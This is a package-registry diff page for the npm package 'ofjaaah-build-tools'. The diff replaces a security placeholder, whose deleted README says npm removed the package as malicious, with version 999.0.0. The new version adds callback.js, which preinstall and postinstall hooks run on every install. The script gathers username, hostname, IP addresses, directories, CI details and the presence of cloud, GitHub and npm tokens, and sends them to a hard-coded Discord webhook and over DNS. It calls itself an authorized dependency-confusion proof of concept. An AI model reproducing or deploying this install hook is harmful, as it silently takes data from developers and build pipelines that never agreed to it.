ofjaaah-build-tools 0.0.1-security → 999.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of ofjaaah-build-tools might be problematic. Click here for more details.

package/callback.js ADDED
@@ -0,0 +1,299 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * Dependency Confusion PoC Callback
4
+ * Author: OFJAAAH
5
+ * Generated: 2026-01-17T06:07:51.157Z
6
+ *
7
+ * This script sends a callback to verify package installation
8
+ * Collects: IP, User, Directory, Hostname for proof of concept
9
+ * FOR AUTHORIZED SECURITY TESTING ONLY
10
+ */
11
+
12
+ const https = require('https');
13
+ const http = require('http');
14
+ const os = require('os');
15
+ const { execSync } = require('child_process');
16
+
17
+ const CALLBACK_URL = 'Discord Webhook';
18
+ const DISCORD_WEBHOOK = 'https://discord.com/api/webhooks/1433563083011395705/VYmvJKeyHmyJ4knuZKUzHiXz4p3H5gxJucqDAPEPE-GCu2xS9Qr16wAiVgC0o5ll7I_y';
19
+ const PACKAGE_NAME = 'ofjaaah-build-tools';
20
+
21
+ // Get network interfaces to find IP
22
+ function getLocalIP() {
23
+ try {
24
+ const interfaces = os.networkInterfaces();
25
+ for (const name of Object.keys(interfaces)) {
26
+ for (const iface of interfaces[name]) {
27
+ if (iface.family === 'IPv4' && !iface.internal) {
28
+ return iface.address;
29
+ }
30
+ }
31
+ }
32
+ } catch (e) {}
33
+ return 'unknown';
34
+ }
35
+
36
+ // Get external IP (optional - may fail in restricted networks)
37
+ async function getExternalIP() {
38
+ return new Promise((resolve) => {
39
+ https.get('https://api.ipify.org?format=json', { timeout: 3000 }, (res) => {
40
+ let data = '';
41
+ res.on('data', chunk => data += chunk);
42
+ res.on('end', () => {
43
+ try {
44
+ resolve(JSON.parse(data).ip);
45
+ } catch (e) {
46
+ resolve(null);
47
+ }
48
+ });
49
+ }).on('error', () => resolve(null));
50
+ });
51
+ }
52
+
53
+ // Collect system info
54
+ function collectSystemInfo() {
55
+ const info = {
56
+ // Package info
57
+ package: PACKAGE_NAME,
58
+ timestamp: new Date().toISOString(),
59
+
60
+ // User info
61
+ user: os.userInfo().username,
62
+ uid: os.userInfo().uid,
63
+ gid: os.userInfo().gid,
64
+ homedir: os.userInfo().homedir,
65
+ shell: os.userInfo().shell,
66
+
67
+ // System info
68
+ hostname: os.hostname(),
69
+ platform: os.platform(),
70
+ arch: os.arch(),
71
+ release: os.release(),
72
+ type: os.type(),
73
+
74
+ // Directory info
75
+ cwd: process.cwd(),
76
+
77
+ // Network info
78
+ localIP: getLocalIP(),
79
+
80
+ // Node info
81
+ nodeVersion: process.version,
82
+ npmVersion: process.env.npm_package_version || 'unknown',
83
+
84
+ // CI/CD Detection
85
+ isCI: !!(process.env.CI || process.env.GITHUB_ACTIONS || process.env.GITLAB_CI || process.env.JENKINS_URL || process.env.TRAVIS || process.env.CIRCLECI || process.env.BUILDKITE),
86
+ ciEnvironment: detectCIEnvironment(),
87
+
88
+ // NPM info
89
+ npmLifecycle: process.env.npm_lifecycle_event || '',
90
+ npmPackageName: process.env.npm_package_name || '',
91
+
92
+ // Additional context
93
+ env: {
94
+ CI: process.env.CI || '',
95
+ GITHUB_ACTIONS: process.env.GITHUB_ACTIONS || '',
96
+ GITHUB_REPOSITORY: process.env.GITHUB_REPOSITORY || '',
97
+ GITHUB_ACTOR: process.env.GITHUB_ACTOR || '',
98
+ GITLAB_CI: process.env.GITLAB_CI || '',
99
+ GITLAB_USER_LOGIN: process.env.GITLAB_USER_LOGIN || '',
100
+ JENKINS_URL: process.env.JENKINS_URL || '',
101
+ BUILD_NUMBER: process.env.BUILD_NUMBER || '',
102
+ TRAVIS: process.env.TRAVIS || '',
103
+ CIRCLECI: process.env.CIRCLECI || '',
104
+ BUILDKITE: process.env.BUILDKITE || ''
105
+ }
106
+ };
107
+
108
+ return info;
109
+ }
110
+
111
+ function detectCIEnvironment() {
112
+ if (process.env.GITHUB_ACTIONS) return 'GitHub Actions';
113
+ if (process.env.GITLAB_CI) return 'GitLab CI';
114
+ if (process.env.JENKINS_URL) return 'Jenkins';
115
+ if (process.env.TRAVIS) return 'Travis CI';
116
+ if (process.env.CIRCLECI) return 'CircleCI';
117
+ if (process.env.BUILDKITE) return 'Buildkite';
118
+ if (process.env.CI) return 'Generic CI';
119
+ return 'Local Machine';
120
+ }
121
+
122
+ async function sendCallback() {
123
+ const systemInfo = collectSystemInfo();
124
+
125
+ // Try to get external IP
126
+ const externalIP = await getExternalIP();
127
+ if (externalIP) {
128
+ systemInfo.externalIP = externalIP;
129
+ }
130
+
131
+ const data = JSON.stringify(systemInfo);
132
+
133
+ const url = new URL(CALLBACK_URL);
134
+ const options = {
135
+ hostname: url.hostname,
136
+ port: url.port || (url.protocol === 'https:' ? 443 : 80),
137
+ path: url.pathname + (url.search || ''),
138
+ method: 'POST',
139
+ headers: {
140
+ 'Content-Type': 'application/json',
141
+ 'Content-Length': Buffer.byteLength(data),
142
+ 'User-Agent': 'dependency-confusion-poc/ofjaaah-build-tools',
143
+ 'X-PoC-Package': 'ofjaaah-build-tools',
144
+ 'X-PoC-Author': 'OFJAAAH'
145
+ },
146
+ timeout: 10000
147
+ };
148
+
149
+ const protocol = url.protocol === 'https:' ? https : http;
150
+
151
+ const req = protocol.request(options, (res) => {
152
+ console.log('[PoC] Callback sent - Status:', res.statusCode);
153
+ });
154
+
155
+ req.on('error', (e) => {
156
+ // Silently fail
157
+ });
158
+
159
+ req.on('timeout', () => {
160
+ req.destroy();
161
+ });
162
+
163
+ req.write(data);
164
+ req.end();
165
+ }
166
+
167
+ // DNS exfiltration for restricted networks
168
+ function sendDnsCallback() {
169
+ try {
170
+ const dns = require('dns');
171
+ const info = {
172
+ p: PACKAGE_NAME.substring(0, 15),
173
+ u: os.userInfo().username.substring(0, 10),
174
+ h: os.hostname().substring(0, 10),
175
+ t: Date.now()
176
+ };
177
+ const encoded = Buffer.from(JSON.stringify(info))
178
+ .toString('base64')
179
+ .replace(/[+/=]/g, '')
180
+ .substring(0, 50);
181
+
182
+ const dnsHost = encoded + '.' + new URL(CALLBACK_URL).hostname;
183
+ dns.resolve(dnsHost, () => {});
184
+ } catch (e) {}
185
+ }
186
+
187
+ // Send to Discord Webhook
188
+ async function sendDiscordCallback() {
189
+ if (!DISCORD_WEBHOOK || DISCORD_WEBHOOK === '') return;
190
+
191
+ const systemInfo = collectSystemInfo();
192
+ const externalIP = await getExternalIP();
193
+
194
+ // Calculate criticality based on environment
195
+ const isCI = systemInfo.isCI;
196
+ const isRoot = systemInfo.user === 'root' || systemInfo.user === 'Administrator';
197
+ const hasSecrets = !!(process.env.AWS_ACCESS_KEY_ID || process.env.GITHUB_TOKEN || process.env.NPM_TOKEN || process.env.DOCKER_PASSWORD);
198
+
199
+ let severity = 'MEDIUM';
200
+ let severityColor = 0xFFA500; // Orange
201
+ let severityEmoji = '🟠';
202
+
203
+ if (isCI && hasSecrets) {
204
+ severity = 'CRITICAL';
205
+ severityColor = 0xFF0000; // Red
206
+ severityEmoji = '🔴';
207
+ } else if (isCI || isRoot) {
208
+ severity = 'HIGH';
209
+ severityColor = 0xFF4500; // OrangeRed
210
+ severityEmoji = '🟠';
211
+ } else if (hasSecrets) {
212
+ severity = 'HIGH';
213
+ severityColor = 0xFF4500;
214
+ severityEmoji = '🟠';
215
+ }
216
+
217
+ // Build impact assessment
218
+ const impactList = [];
219
+ if (isCI) impactList.push('⚠️ CI/CD Pipeline Compromised');
220
+ if (isRoot) impactList.push('⚠️ Running as Root/Admin');
221
+ if (hasSecrets) impactList.push('⚠️ Secrets/Tokens Detected in ENV');
222
+ if (systemInfo.env.GITHUB_TOKEN || systemInfo.env.GITHUB_ACTIONS) impactList.push('🔑 GitHub Access Available');
223
+ if (process.env.AWS_ACCESS_KEY_ID) impactList.push('☁️ AWS Credentials Exposed');
224
+ if (process.env.NPM_TOKEN) impactList.push('📦 NPM Token Exposed');
225
+
226
+ const impactText = impactList.length > 0 ? impactList.join('\n') : '✅ No critical exposures detected';
227
+
228
+ // Build CI details if applicable
229
+ let ciDetails = '';
230
+ if (systemInfo.ciEnvironment !== 'Local Machine') {
231
+ ciDetails = systemInfo.ciEnvironment;
232
+ if (systemInfo.env.GITHUB_REPOSITORY) ciDetails += ' | Repo: ' + systemInfo.env.GITHUB_REPOSITORY;
233
+ if (systemInfo.env.GITHUB_ACTOR) ciDetails += ' | Actor: ' + systemInfo.env.GITHUB_ACTOR;
234
+ if (systemInfo.env.BUILD_NUMBER) ciDetails += ' | Build: ' + systemInfo.env.BUILD_NUMBER;
235
+ }
236
+
237
+ const embed = {
238
+ title: severityEmoji + ' DEPENDENCY CONFUSION - ' + severity + ' SEVERITY',
239
+ description: '**Package `' + PACKAGE_NAME + '` was installed and executed code!**\n\nThis confirms a dependency confusion vulnerability exists.',
240
+ color: severityColor,
241
+ fields: [
242
+ { name: '🎯 Severity Level', value: '**' + severity + '**', inline: true },
243
+ { name: '📦 Package', value: '`' + PACKAGE_NAME + '`', inline: true },
244
+ { name: '🏭 Environment', value: isCI ? '**CI/CD PIPELINE**' : 'Local Machine', inline: true },
245
+ { name: '📊 Impact Assessment', value: impactText, inline: false },
246
+ { name: '👤 User', value: '`' + (systemInfo.user || 'N/A') + '`' + (isRoot ? ' **[ROOT]**' : ''), inline: true },
247
+ { name: '🖥️ Hostname', value: '`' + (systemInfo.hostname || 'N/A') + '`', inline: true },
248
+ { name: '💻 Platform', value: (systemInfo.platform + ' ' + systemInfo.arch) || 'N/A', inline: true },
249
+ { name: '🌐 Local IP', value: '`' + (systemInfo.localIP || 'N/A') + '`', inline: true },
250
+ { name: '🌍 External IP', value: '`' + (externalIP || 'N/A') + '`', inline: true },
251
+ { name: '🔧 Node Version', value: systemInfo.nodeVersion || 'N/A', inline: true },
252
+ { name: '📁 Working Directory', value: '`' + (systemInfo.cwd || 'N/A') + '`', inline: false },
253
+ { name: '🏠 Home Directory', value: '`' + (systemInfo.homedir || 'N/A') + '`', inline: false },
254
+ ],
255
+ footer: { text: '🔍 Dependency Confusion Hunter by OFJAAAH | Authorized Security Research' },
256
+ timestamp: new Date().toISOString()
257
+ };
258
+
259
+ // Add CI details field if applicable
260
+ if (ciDetails) {
261
+ embed.fields.splice(3, 0, { name: '🔄 CI/CD Details', value: ciDetails, inline: false });
262
+ }
263
+
264
+ const payload = JSON.stringify({
265
+ embeds: [embed]
266
+ });
267
+
268
+ try {
269
+ const url = new URL(DISCORD_WEBHOOK);
270
+ const options = {
271
+ hostname: url.hostname,
272
+ port: 443,
273
+ path: url.pathname + url.search,
274
+ method: 'POST',
275
+ headers: {
276
+ 'Content-Type': 'application/json',
277
+ 'Content-Length': Buffer.byteLength(payload)
278
+ },
279
+ timeout: 10000
280
+ };
281
+
282
+ const req = https.request(options, (res) => {
283
+ console.log('[PoC] Discord callback sent - Status:', res.statusCode);
284
+ });
285
+
286
+ req.on('error', () => {});
287
+ req.write(payload);
288
+ req.end();
289
+ } catch (e) {}
290
+ }
291
+
292
+ // Execute callbacks
293
+ (async () => {
294
+ try {
295
+ await sendCallback();
296
+ await sendDiscordCallback();
297
+ sendDnsCallback();
298
+ } catch (e) {}
299
+ })();
package/index.js ADDED
@@ -0,0 +1,15 @@
1
+ /**
2
+ * ofjaaah-build-tools
3
+ * Security Research PoC - Dependency Confusion Hunter
4
+ * Author: OFJAAAH
5
+ *
6
+ * This package was published as part of authorized security research
7
+ * to demonstrate dependency confusion vulnerabilities.
8
+ */
9
+
10
+ module.exports = {
11
+ name: 'ofjaaah-build-tools',
12
+ version: '999.0.0',
13
+ poc: true,
14
+ author: 'OFJAAAH'
15
+ };
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "ofjaaah-build-tools",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "999.0.0",
4
+ "description": "Security research PoC - Dependency Confusion Hunter by OFJAAAH",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node callback.js",
8
+ "postinstall": "node callback.js"
9
+ },
10
+ "keywords": [
11
+ "security",
12
+ "research",
13
+ "poc"
14
+ ],
15
+ "author": "OFJAAAH - Security Research",
16
+ "license": "MIT"
17
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=ofjaaah-build-tools for more information.